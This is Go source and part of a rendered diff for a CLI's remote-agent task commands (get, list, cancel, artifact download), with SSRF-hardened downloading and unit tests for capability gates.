var resolveDownload = func(opts *taskOptions) (*iagent.ArtifactData, error) {
_, spec, agentID, id, err := resolveSpec(opts.Factory, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return nil, err
}
// Capability gate before any network: a spec that does not wire
// DownloadArtifact (card artifact_download=false) returns unsupported_capability.
if spec.DownloadArtifact == nil {
return nil, capabilityError(opts.Ref, "artifact download", iagent.CapArtifactDownload)
}
rt, err := runtimeFor(opts.Factory, id, agentID)
if err != nil {
return nil, err
}
if err := preflightScopesForRef(opts.Factory, id, opts.Ref); err != nil {
return nil, err
}
return spec.DownloadArtifact(opts.Cmd.Context(), rt, opts.TaskID, opts.ArtifactID)
}
// artifactFetch is the URL-download seam: it SSRF-validates rawURL and fetches
// its bytes with a download-hardened client. Tests swap it to serve a loopback
// httptest server (which the production SSRF guard would otherwise block).
var artifactFetch = fetchArtifactURL
// hardenDownloadClient is the download-client-build seam inside fetchArtifactURL.
// Production wraps the base client with the SSRF-hardened redirect/dial rules;
// tests swap it to pass the (interceptable) base client through unchanged so the
// request/status/read/limit logic can run against an httpmock transport that the
// hardened client's transport clone would otherwise discard.
var hardenDownloadClient = func(base *http.Client) *http.Client {
return validate.NewDownloadHTTPClient(base, validate.DownloadHTTPClientOptions{})
}
// NewCmdAgentTask builds the `agent task` command group: query, list and cancel
// tasks on a remote agent. It is a pure group with no RunE so an unknown
// subcommand is reported rather than silently swallowed.
func NewCmdAgentTask(f *cmdutil.Factory) *cobra.Command {
cmd := &cobra.Command{
Use: "task",
Short: "Query / list / cancel a remote agent's tasks",
Long: "task get <agent_ref> <task-id> queries a single task (with --watch polling and --artifact download); task list <agent_ref> lists tasks; task cancel <agent_ref> <task-id> cancels (capability-gated).",
}
cmd.AddCommand(NewCmdAgentTaskGet(f))
cmd.AddCommand(NewCmdAgentTaskList(f))
cmd.AddCommand(NewCmdAgentTaskCancel(f))
return cmd
}
// NewCmdAgentTaskGet builds `agent task get <ref> <task-id>`: fetch a single
// task's state and artifacts. `--watch` polls until the task reaches a stop
// condition and the terminal state drives the semantic exit code;
// `--timeout` bounds that poll (0 = unbounded, blocking to a stop condition —
// the backward-compatible default). `--artifact <id>` downloads that artifact
// to `-o` instead of printing the task: a URL-type artifact is SSRF-validated
// and fetched, an inline-bytes artifact is written straight to disk.
// Risk=read.
func NewCmdAgentTaskGet(f *cmdutil.Factory) *cobra.Command {
opts := &taskOptions{Factory: f}
cmd := &cobra.Command{
Use: "get <agent_ref> <task-id>",
Short: "Query a single task's state and artifacts",
Long: "Query the state and artifacts of task-id under the agent addressed by agent_ref. --watch polls until a stop condition and then prints the final state; --timeout bounds the watch (0 = unbounded, blocking to a terminal state). --artifact <id> with -o downloads that artifact to a local file.",
Args: exactArgsWithUsage(2),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
opts.TaskID = args[1]
return agentTaskGetRun(opts)
},
}
cmd.Flags().BoolVar(&opts.Watch, "watch", false, "轮询任务直到进入停轮询条件(终态 / 需补输入 / 需补鉴权)再打印最终状态")
cmd.Flags().DurationVar(&opts.Timeout, "timeout", 0, "--watch 的最长轮询时长,如 30s0=无界(阻塞到终态);到点未终止则返回当前状态+续 watch 命令")
cmd.Flags().StringVar(&opts.ArtifactID, "artifact", "", "下载指定产物 id须配合 -o 指定落盘路径),不打印任务详情")
cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "产物落盘路径(仅 --artifact 时使用)")
cmd.Flags().BoolVar(&opts.Force, "force", false, "允许覆盖已存在的 -o 目标文件(默认拒绝覆盖,防止误毁本地文件)")
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// NewCmdAgentTaskList builds `agent task list <ref>`: enumerate the agent's
// tasks, optionally filtered by `--context-id`, into {tasks:[...]} with a
// meta.count. Risk=read.
func NewCmdAgentTaskList(f *cmdutil.Factory) *cobra.Command {
opts := &taskOptions{Factory: f}
cmd := &cobra.Command{
Use: "list <agent_ref>",
Short: "List a remote agent's tasks",
Long: "List the tasks of the agent addressed by agent_ref; --context-id filters by multi-turn context.",
Args: exactArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
return agentTaskListRun(opts)
},
}
cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "按多轮上下文 id 过滤任务")
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// NewCmdAgentTaskCancel builds `agent task cancel <ref> <task-id>`: cancel
// (interrupt) a task. Cancel is capability-gated on the Card's task_cancel: for
// an agent that does not support it (task_cancel=false, e.g. example:echo) the
// command returns unsupported_capability without contacting the API.
// Risk=write.
func NewCmdAgentTaskCancel(f *cmdutil.Factory) *cobra.Command {
opts := &taskOptions{Factory: f}
cmd := &cobra.Command{
Use: "cancel <agent_ref> <task-id>",
Short: "Cancel (interrupt) a remote agent's task",
Long: "Cancel task-id under the agent addressed by agent_ref. If the agent does not support cancel (card task_cancel=false), it returns unsupported_capability without sending a request.",
Args: exactArgsWithUsage(2),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
opts.TaskID = args[1]
return agentTaskCancelRun(opts)
},
}
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
return cmd
}
// addAsFlag registers the identity flag: the real API-identity flag when a
// Factory is present, or a bare --as for construction-time unit tests (f nil).
func addAsFlag(cmd *cobra.Command, f *cmdutil.Factory, as *string) {
if f != nil {
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, as)
return
}
cmd.Flags().StringVar(as, "as", "", "identity type: user | bot")
}
// agentTaskGetRun runs `task get`. The `--artifact` client-side guard (requires
// -o) runs first so it never touches the network and holds under a nil Factory.
// With `--artifact` it downloads the named artifact to -o; otherwise it
// fetches the task, optionally polling it to a stop condition under --watch, and
// emits the task with the terminal state driving the semantic exit code.
func agentTaskGetRun(opts *taskOptions) error {
if opts.ArtifactID != "" {
if opts.Output == "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"--artifact 需配合 -o/--output 指定落盘路径").
WithParam("--output").
WithHint("补充 -o <落盘路径> 后重发")
}
return downloadArtifact(opts)
}
// --timeout only bounds the --watch poll; without --watch it is meaningless.
// Guard it client-side (mirrors the send --task-id/--context-id combo check)
// so it never touches the network and holds under a nil Factory.
if opts.Timeout > 0 && !opts.Watch {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"--timeout 需与 --watch 一起使用").
WithParam("--timeout").
WithHint("--timeout 需与 --watch 一起使用")
}
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
rt, err := runtimeFor(f, id, agentID)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
ctx := opts.Cmd.Context()
task, err := spec.GetTask(ctx, rt, opts.TaskID)
if err != nil {
return err
}
// A provider that decodes an empty "data" via Call[*AgentTask] legitimately
// returns (nil, nil) (see internal/agent decodeData). Surface that as a typed
// error rather than dereferencing task.State below (the --watch branch would
// otherwise panic; the sibling consumers all nil-guard).
if task == nil {
return errs.NewInternalError(errs.SubtypeInvalidResponse,
"provider 未返回任务数据(响应无 data")
}
if opts.Watch && !task.State.ShouldStopPolling() {
// A positive --timeout bounds the poll: pollToStop returns the most recent
// task with a nil error when the deadline fires (a timeout is an
// observation-window close, not a failure), so a long task degrades to
// "current state + a fresh watch hint" instead of blocking forever. 0 =
// unbounded (the backward-compatible default). pollToStop is unchanged.
pollCtx := ctx
if opts.Timeout > 0 {
var cancel context.CancelFunc
pollCtx, cancel = context.WithTimeout(ctx, opts.Timeout)
defer cancel()
}
final, perr := pollToStop(pollCtx, func(c context.Context, tid string) (*iagent.AgentTask, error) {
return spec.GetTask(c, rt, tid)
}, opts.TaskID)
if perr != nil {
return perr
}
if final != nil {
task = final
}
}
// Derive IsTerminal from State (single source of truth) before any consumer
// — emitTask's output and semanticExitError below both read the flag.
normalizeTask(task)
if err := emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format); err != nil {
return err
}
// Under --watch a non-successful terminal state signals exit 1; a
// plain get (or a non-terminal stop) is exit 0.
if opts.Watch {
return semanticExitError(task)
}
return nil
}
// agentTaskListRun runs `task list`: resolves the provider, lists tasks
// (optionally filtered by --context-id), sorts them newest-first by UpdatedAt,
// and emits {tasks:[...]} with meta.count through content-safety scanning (the
// summaries carry untrusted agent text).
func agentTaskListRun(opts *taskOptions) error {
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Capability gate BEFORE building the client: a spec that does not wire
// ListTasks (card task_list=false) returns unsupported_capability offline.
if spec.ListTasks == nil {
return capabilityError(opts.Ref, "task list", iagent.CapTaskList)
}
rt, err := runtimeFor(f, id, agentID)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
tasks, err := spec.ListTasks(opts.Cmd.Context(), rt, opts.ContextID)
if err != nil {
return err
}
tasks = normalizeTaskSummaries(tasks)
// Newest-first: sort by UpdatedAt (RFC3339 UTC) descending so the most
// recently active task heads the list; a stable sort preserves the provider's
// relative order for equal timestamps, and tasks with no timestamp sort last.
sort.SliceStable(tasks, func(i, j int) bool { return tasks[i].UpdatedAt > tasks[j].UpdatedAt })
if tasks == nil {
tasks = []iagent.TaskSummary{} // always emit [] not null (matches the Card.Parameters array convention)
}
return scanAndEmitData(f, opts.Cmd, opts.Format,
map[string]interface{}{"tasks": tasks},
&output.Meta{Count: len(tasks)},
func(w io.Writer) { printTaskSummariesTSV(w, tasks) })
}
// agentTaskCancelRun runs `task cancel`. Cancel is capability-gated offline
// (right after resolveSpec, before the client is built): a spec that does not
// wire CancelTask (card task_cancel=false, e.g. example:echo) returns
// unsupported_capability without any API access. Only a supporting spec reaches
// runtimeFor + CancelTask.
func agentTaskCancelRun(opts *taskOptions) error {
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
if spec.CancelTask == nil {
return capabilityError(opts.Ref, "task cancel", iagent.CapTaskCancel)
}
rt, err := runtimeFor(f, id, agentID)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call. A
// task_cancel=false agent never reaches here (gated above); it is wired so a
// provider that supports cancel is not silently exempt from the all-or-nothing
// scope check.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
if err := spec.CancelTask(opts.Cmd.Context(), rt, opts.TaskID); err != nil {
return err
}
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
fmt.Fprintf(f.IOStreams.Out, "task_id: %s\ncanceled: true\n", kvValue(opts.TaskID))
return nil
}
env := output.Envelope{
OK: true,
Identity: string(id),
Data: map[string]interface{}{"task_id": opts.TaskID, "canceled": true},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// downloadArtifact resolves the artifact descriptor and writes it to opts.Output
// under vfs. A URL-type artifact is SSRF-validated and fetched over a
// download-hardened client; an inline-bytes artifact is written directly. The
// output path is validated with SafeOutputPath (relative, within the CWD)
// before any write.
func downloadArtifact(opts *taskOptions) error {
safePath, err := validate.SafeOutputPath(opts.Output)
if err != nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的 -o 路径: %v", err).
WithParam("--output").WithCause(err)
}
// Overwriting a local file destroys its content irreversibly — a high-risk
// write. It goes through the same confirmation contract as other --force
// gates (config bind): without --force, a would-be overwrite returns
// confirmation_required (exit 10) before any download. Lstat (not Stat) so a
// symlink at the path counts as existing rather than being followed.
if !opts.Force {
if _, statErr := vfs.Lstat(safePath); statErr == nil {
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent task get --artifact -o",
"目标文件已存在,覆盖会不可逆地毁掉本地内容: %s", safePath).
WithHint("确认要覆盖后加 --force 重跑,或换一个 -o 路径")
}
}
ctx := opts.Cmd.Context()
art, err := resolveDownload(opts)
if err != nil {
return err
}
// A provider decoding an empty "data" via Call[*ArtifactData] can return
// (nil, nil); and a non-nil descriptor with neither inline bytes nor a URL
// carries no downloadable content. Both are provider-response defects — fail
// with a typed error instead of dereferencing nil or writing a 0-byte file
// (which under --force would clobber an existing local file with emptiness).
if art == nil {
return errs.NewInternalError(errs.SubtypeInvalidResponse,
"provider 未返回产物数据(响应无 data")
}
if len(art.Bytes) == 0 && art.URL == "" {
return errs.NewInternalError(errs.SubtypeInvalidResponse,
"产物 '%s' 无可下载内容provider 既未提供内联字节也未提供下载 URL", opts.ArtifactID)
}
data := art.Bytes
if art.URL != "" {
data, err = artifactFetch(ctx, opts.Factory, art.URL)
if err != nil {
return err
}
}
if err := vfs.WriteFile(safePath, data, 0o600); err != nil {
return errs.NewInternalError(errs.SubtypeFileIO, "写产物到 %s 失败: %v", safePath, err).WithCause(err)
}
f := opts.Factory
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
out := f.IOStreams.Out
fmt.Fprintf(out, "artifact_id: %s\n", kvValue(opts.ArtifactID))
fmt.Fprintf(out, "path: %s\n", safePath)
fmt.Fprintf(out, "bytes: %d\n", len(data))
if art.Mime != "" {
fmt.Fprintf(out, "mime: %s\n", kvValue(art.Mime))
}
// suggested_name is the server-suggested name, for reference only; the
// actual on-disk path is already the safePath (-o) above.
if art.Name != "" {
fmt.Fprintf(out, "suggested_name: %s\n", kvValue(art.Name))
}
return nil
}
env := output.Envelope{
OK: true,
Identity: string(f.ResolvedIdentity),
Data: map[string]interface{}{
"artifact_id": opts.ArtifactID,
"path": safePath,
"bytes": len(data),
"mime": art.Mime,
"suggested_name": art.Name,
},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// fetchArtifactURL is the production URL fetch: it SSRF-validates rawURL, builds
// a download-hardened HTTP client from the Factory and reads the body up to
// maxArtifactBytes, refusing anything larger. The artifact host is untrusted
// external content, so both the URL and the redirect chain are guarded.
func fetchArtifactURL(ctx context.Context, f *cmdutil.Factory, rawURL string) ([]byte, error) {
if err := validate.ValidateDownloadSourceURL(ctx, rawURL); err != nil {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "被拦截的产物 URL: %v", err).
WithCause(err)
}
// Artifact bytes come from an untrusted host over the network; require https
// so the payload cannot be read or tampered with in transit. The SSRF check
// above already rejects private/loopback hosts and non-http(s) schemes, so a
// surviving non-https URL is plain-text http.
if !strings.HasPrefix(strings.ToLower(rawURL), "https://") {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "产物 URL 必须为 https拒绝明文下载")
}
base, err := f.HttpClient()
if err != nil {
return nil, errs.NewInternalError(errs.SubtypeSDKError, "构造 http client 失败: %v", err).WithCause(err)
}
client := hardenDownloadClient(base)
req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
if err != nil {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的产物 URL: %v", err).WithCause(err)
}
resp, err := client.Do(req)
if err != nil {
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "下载产物失败: %v", err).WithCause(err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, errs.NewNetworkError(errs.SubtypeNetworkServer, "下载产物失败: HTTP %d", resp.StatusCode)
}
// Read ONE byte past the cap so an oversized body is detected rather than
// silently truncated: io.LimitReader returns EOF (not an error) at the cap, so
// reading exactly maxArtifactBytes cannot distinguish "fits" from "overflowed".
// A body over the cap is refused with a typed error instead of writing a
// corrupt, partial file that would otherwise report success.
data, err := io.ReadAll(io.LimitReader(resp.Body, maxArtifactBytes+1))
if err != nil {
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "读取产物响应失败: %v", err).WithCause(err)
}
if int64(len(data)) > maxArtifactBytes {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"产物超过大小上限 %d 字节,拒绝下载(避免写入被截断的残缺文件)", int64(maxArtifactBytes))
}
return data, nil
}

1141
cmd/agent/task_test.go Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,202 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"encoding/json"
"strings"
"sync"
"testing"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// fakeUnsupSpec is a stub instance spec driving the command-layer
// capability-gate wirings without any HTTP: ListContexts / DeleteContext are
// left UNWIRED (nil), so the command layer's nil-gate must return the typed
// unsupported_capability before any network access. GetTask is wired to return a
// task whose IsTerminal deliberately mismatches its State (normalizeTask must
// re-derive it). Send is wired (core, required by Register) but never called
// here. There is no capability-refusal code in the spec — "unsupported" is
// expressed purely by the absent hooks.
func fakeUnsupSpec() *iagent.AgentSpec {
return &iagent.AgentSpec{
Send: func(context.Context, iagent.Runtime, iagent.SendInput) (*iagent.AgentTask, error) {
panic("unsup provider: Send should not be called")
},
GetTask: func(_ context.Context, _ iagent.Runtime, taskID string) (*iagent.AgentTask, error) {
// Deliberate mismatch: State is terminal but IsTerminal=false.
return &iagent.AgentTask{TaskID: taskID, State: iagent.StateCompleted, IsTerminal: false}, nil
},
// ListContexts / DeleteContext intentionally unwired ⇒ unsupported.
}
}
// registerFakeUnsup registers the fakeunsup scheme exactly once (Register
// panics on duplicates). Like the other fakes it leaks into the package-level
// registry for the remaining tests of this package run.
var registerFakeUnsupOnce sync.Once
func registerFakeUnsup() {
registerFakeUnsupOnce.Do(func() {
iagent.Register(iagent.Provider{
Scheme: "fakeunsup",
Label: "test fake (unwired optional capabilities)",
AgentIDSource: "test only",
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
Instance: fakeUnsupSpec(),
})
})
}
// assertUnsupportedCapability pins the full capability-gate contract on err:
// validation typed, subtype unsupported_capability, exit 2, hint pointing at
// `agent card <ref>`, and — because the Factory's httpmock registry has zero
// stubs — no HTTP was issued (any network attempt would have surfaced as an
// "httpmock: no stub" error instead of the typed one).
func assertUnsupportedCapability(t *testing.T, err error, ref string) {
t.Helper()
if err == nil {
t.Fatal("an unsupported capability should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T (%v)", err, err)
}
if code := output.ExitCodeOf(err); code != output.ExitValidation {
t.Fatalf("exit code should be %d, got %d", output.ExitValidation, code)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeUnsupportedCapability {
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
}
if !strings.Contains(p.Hint, "agent card "+ref) {
t.Errorf("hint should point to agent card %s, got %q", ref, p.Hint)
}
if strings.Contains(err.Error(), "httpmock") {
t.Errorf("should not issue any HTTP request, but the error contains httpmock traces: %v", err)
}
}
// TestContextListUnsupportedGated pins the capability gate on `context list`: a
// provider that does not wire ListContexts returns typed unsupported_capability
// (exit 2) with the agent-card hint, without any HTTP.
func TestContextListUnsupportedGated(t *testing.T) {
registerFakeUnsup()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
opts := &contextOptions{
Factory: f, Cmd: contextCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json",
}
assertUnsupportedCapability(t, agentContextListRun(opts), "fakeunsup:a1")
}
// TestContextDeleteUnsupportedGated pins the same gate on the confirmed
// `context delete` path (--yes passes, provider does not wire DeleteContext).
func TestContextDeleteUnsupportedGated(t *testing.T) {
registerFakeUnsup()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
opts := &contextOptions{
Factory: f, Cmd: contextCmdCtx(t, "delete"), Ref: "fakeunsup:a1", CtxID: "c1", Yes: true, As: "bot", Format: "json",
}
assertUnsupportedCapability(t, agentContextDeleteRun(opts), "fakeunsup:a1")
}
// unsupFactory is a small helper for the capability-gate tests.
func unsupFactory(t *testing.T) *cmdutil.Factory {
t.Helper()
registerFakeUnsup()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
return f
}
// TestTaskListUnsupportedGated pins the task_list gate: fakeunsup does not wire
// ListTasks, so `task list` returns unsupported_capability (exit 2) with no HTTP.
func TestTaskListUnsupportedGated(t *testing.T) {
f := unsupFactory(t)
opts := &taskOptions{Factory: f, Cmd: taskCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json"}
assertUnsupportedCapability(t, agentTaskListRun(opts), "fakeunsup:a1")
}
// TestContextGetUnsupportedGated pins the context_get gate (GetContext unwired).
func TestContextGetUnsupportedGated(t *testing.T) {
f := unsupFactory(t)
opts := &contextOptions{Factory: f, Cmd: contextCmdCtx(t, "get"), Ref: "fakeunsup:a1", CtxID: "c1", As: "bot", Format: "json"}
assertUnsupportedCapability(t, agentContextGetRun(opts), "fakeunsup:a1")
}
// TestArtifactDownloadUnsupportedGated pins the artifact_download gate: fakeunsup
// does not wire DownloadArtifact, so `task get --artifact` returns
// unsupported_capability (exit 2) before any download.
func TestArtifactDownloadUnsupportedGated(t *testing.T) {
f := unsupFactory(t)
opts := &taskOptions{
Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1",
ArtifactID: "art_1", Output: "out_unsup.bin", As: "bot", Format: "json",
}
assertUnsupportedCapability(t, agentTaskGetRun(opts), "fakeunsup:a1")
}
// TestSendFileUnsupportedGated pins the --file capability gate: example:echo
// declares file_input=false, so `send --file` returns unsupported_capability
// (exit 2) — this gate answers BEFORE the --yes confirmation and before any
// network, so no file is opened and no request is issued.
func TestSendFileUnsupportedGated(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentSendRun(&sendOptions{
Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo", Text: "hi",
Files: []string{"whatever.txt"}, As: "bot", Format: "json",
})
assertUnsupportedCapability(t, err, "example:echo")
}
// TestTaskGetDerivesIsTerminalFromState pins the normalizeTask wiring: a
// provider returning a State/IsTerminal-mismatched task (completed +
// is_terminal=false) must emit is_terminal=true — the command layer derives
// the flag from State, the single source of truth.
func TestTaskGetDerivesIsTerminalFromState(t *testing.T) {
registerFakeUnsup()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
opts := &taskOptions{
Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1", As: "bot", Format: "json",
}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentTaskGetRun(opts); err != nil {
t.Fatalf("task get should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if data["state"] != "completed" {
t.Fatalf("data.state should be completed, got %v", data["state"])
}
if data["is_terminal"] != true {
t.Errorf("is_terminal should be derived from State as true (correcting a provider that set false), got %v", data["is_terminal"])
}
}
// TestNormalizeTaskSummaries_DerivesFromState pins the summary-side derivation
// (task list runs its summaries through this helper; context get derives the
// single active_task's flag inline the same way).
func TestNormalizeTaskSummaries_DerivesFromState(t *testing.T) {
ts := normalizeTaskSummaries([]iagent.TaskSummary{
{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: false}, // missing
{TaskID: "t2", State: iagent.StateWorking, IsTerminal: true}, // wrong
})
if !ts[0].IsTerminal {
t.Error("completed summary should derive is_terminal=true")
}
if ts[1].IsTerminal {
t.Error("working summary should derive is_terminal=false")
}
if normalizeTask(nil) != nil {
t.Error("normalizeTask(nil) should be nil-safe")
}
}

View File

@@ -67,8 +67,21 @@ func NewCmdApiWithContext(ctx context.Context, f *cmdutil.Factory, runF func(*AP
cmd := &cobra.Command{
Use: "api <method> <path>",
Short: "Generic Lark API requests",
Args: cobra.ExactArgs(2),
Short: "Raw HTTP escape hatch — call any endpoint by path (fallback when no typed command exists)",
Long: `Raw HTTP escape hatch: send any Lark API request by HTTP method + path.
Prefer the typed domain command when one exists — it validates parameters,
shows the Risk level, gates destructive calls behind --yes, and carries usage
guidance that this raw command does not. If a domain command covers your task
(browse with ` + "`lark-cli <domain> --help`" + `), use it instead of this.
Reach for ` + "`api`" + ` only for endpoints that have no typed command yet (e.g.
newer/preview APIs), where you already have the HTTP path from the Lark docs.
Examples:
lark-cli api GET /open-apis/calendar/v4/calendars
lark-cli api POST /open-apis/im/v1/messages --params '{"receive_id_type":"open_id"}' --data @body.json`,
Args: cobra.ExactArgs(2),
RunE: func(cmd *cobra.Command, args []string) error {
opts.Method = strings.ToUpper(args[0])
opts.Path = args[1]

View File

@@ -8,6 +8,8 @@ import (
"io"
"io/fs"
_ "github.com/larksuite/cli/agent"
"github.com/larksuite/cli/cmd/agent"
"github.com/larksuite/cli/cmd/api"
"github.com/larksuite/cli/cmd/auth"
"github.com/larksuite/cli/cmd/completion"
@@ -19,6 +21,7 @@ import (
"github.com/larksuite/cli/cmd/service"
"github.com/larksuite/cli/cmd/skill"
cmdupdate "github.com/larksuite/cli/cmd/update"
"github.com/larksuite/cli/cmd/whoami"
_ "github.com/larksuite/cli/events"
"github.com/larksuite/cli/internal/apicatalog"
"github.com/larksuite/cli/internal/build"
@@ -170,6 +173,10 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
rootCmd.SetOut(cfg.streams.Out)
rootCmd.SetErr(cfg.streams.ErrOut)
// Root-only usage template (curated Usage synopsis + skills footer); see
// rootUsageTemplate.
rootCmd.SetUsageTemplate(rootUsageTemplate)
installTipsHelpFunc(rootCmd)
rootCmd.SilenceErrors = true
// SilenceUsage as a static field (not only in PersistentPreRun) so it also
@@ -190,12 +197,14 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
rootCmd.AddCommand(auth.NewCmdAuth(f))
rootCmd.AddCommand(profile.NewCmdProfile(f))
rootCmd.AddCommand(doctor.NewCmdDoctor(f))
rootCmd.AddCommand(whoami.NewCmdWhoami(f))
rootCmd.AddCommand(api.NewCmdApiWithContext(ctx, f, nil))
rootCmd.AddCommand(schema.NewCmdSchema(f, nil))
rootCmd.AddCommand(completion.NewCmdCompletion(f))
rootCmd.AddCommand(cmdupdate.NewCmdUpdate(f))
rootCmd.AddCommand(cmdevent.NewCmdEvents(f))
rootCmd.AddCommand(skill.NewCmdSkill(f))
rootCmd.AddCommand(agent.NewCmdAgent(f))
if !cfg.skipService {
if cfg.serviceCatalog != nil {
service.RegisterServiceCommandsFromCatalog(ctx, rootCmd, f, *cfg.serviceCatalog)
@@ -205,7 +214,12 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
}
shortcuts.RegisterShortcutsWithContext(ctx, rootCmd, f)
groupRootCommands(rootCmd)
installUnknownSubcommandGuard(rootCmd)
// Bare `lark-cli` in an interactive terminal offers an interactive upgrade
// before printing help; non-bare invocations and non-TTY are unaffected.
installRootUpgradePrompt(f, rootCmd)
if mode := f.ResolveStrictMode(ctx); mode.IsActive() && !cfg.skipStrictMode {
pruneForStrictMode(rootCmd, mode)

View File

@@ -129,7 +129,10 @@ func doctorRun(opts *DoctorOptions) error {
if diagnostics.Bot.Available || diagnostics.User.Available {
checks = append(checks, pass("identity_ready", "at least one identity is available"))
} else {
checks = append(checks, fail("identity_ready", "no usable bot or user identity is available", "run: lark-cli auth status --verify"))
// No hint: this only summarizes the two checks above, which already carry
// the source-appropriate remediation. A command here would be redundant,
// or wrong (`auth status` is blocked under an external provider).
checks = append(checks, fail("identity_ready", "no usable bot or user identity is available", ""))
}
// ── 4 & 5. Endpoint reachability ──

View File

@@ -4,14 +4,19 @@
package doctor
import (
"bytes"
"context"
"encoding/json"
"net/http"
"strings"
"testing"
"github.com/spf13/cobra"
extcred "github.com/larksuite/cli/extension/credential"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/credential"
)
func TestNewCmdDoctor_FlagParsing(t *testing.T) {
@@ -140,14 +145,84 @@ func TestDoctorRun_SplitsBotAndMissingUserIdentity(t *testing.T) {
}
func assertCheck(t *testing.T, checks []checkResult, name, status string) {
